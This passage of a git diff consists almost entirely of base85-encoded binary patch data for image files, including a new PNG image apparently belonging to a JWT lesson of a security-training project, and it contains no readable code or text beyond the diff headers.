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 VtY`K*X9Wfz@O1TaS?83{1ON`x53&FN literal 0 HcmV?d00001 diff --git a/src/main/resources/lessons/jwt/images/challenge3-small.png b/src/main/resources/lessons/jwt/images/challenge3-small.png new file mode 100644 index 0000000000000000000000000000000000000000..daf7f7ebbe5d593b79ae99a194a3a4ae53a6495c GIT binary patch literal 59108 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 